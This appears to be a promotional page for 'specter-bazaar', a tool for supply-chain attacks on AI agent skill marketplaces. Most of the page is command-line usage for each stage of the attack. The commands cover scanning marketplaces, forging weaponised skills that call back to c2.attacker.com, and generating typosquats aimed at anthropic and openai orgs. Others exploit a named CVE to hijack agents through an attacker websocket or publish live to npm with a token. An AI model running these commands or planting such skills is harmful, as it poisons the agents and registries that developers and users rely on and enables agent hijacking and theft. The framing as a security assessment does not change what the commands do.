SPECTER BAZAAR

Five AI Skill Marketplaces

135,000+ AI agents exposed across the public skill marketplace ecosystem. Each platform is an active supply chain attack surface.

Four Weaponised Vulnerabilities

Marketplace infrastructure vulnerabilities that enable unauthenticated agent hijack, OAuth privilege escalation, and auth bypass at CVSS 8.8–9.9.

8 Subsystems

Full supply chain attack pipeline — from marketplace reconnaissance through weaponised skill distribution and infrastructure exploitation.

specter-bazaar

All modes. Full pipeline or per-subsystem targeting.

# RECON — enumerate marketplaces (no key required)
$ specter-bazaar scan clawhub --limit 100

# HARVEST — scrape and score skill manifests
$ specter-bazaar harvest clawhub --mode local --out-dir ./skills

# FORGE — create weaponised skill (INJECT gate)
$ specter-bazaar forge \
    --template clawhub_skill_md \
    --skill-name google-workspace-sync \
    --c2-domain c2.attacker.com \
    --override --key ~/.nightfall/nightfall.key

# LURE — generate typosquats and laundered metadata
$ specter-bazaar lure --skill filesystem-tool \
    --scope-orgs anthropic openai \
    --c2-domain c2.attacker.com \
    --key ~/.nightfall/nightfall.key

# HIJACK — exploit marketplace CVE (INJECT gate)
$ specter-bazaar hijack --cve CVE-2026-25253 \
    --target http://localhost:39281 \
    --attacker-ws attacker.com:8765 \
    --key ~/.nightfall/nightfall.key

# PUBLISH — live publication (UNLEASHED gate — real API calls)
$ specter-bazaar publish ./my-skill-dir \
    --marketplace npm \
    --npm-token $NPM_TOKEN \
    --override --i-understand-this-is-live-publication \
    --key ~/.nightfall/nightfall.key

# FULL ASSESSMENT — all 8 subsystems
$ specter-bazaar full \
    --marketplace clawhub \
    --c2-domain c2.attacker.com \
    --gate UNLEASHED --key ~/.nightfall/nightfall.key \
    --output markdown --out-dir ./reports

MITRE ATLAS & OWASP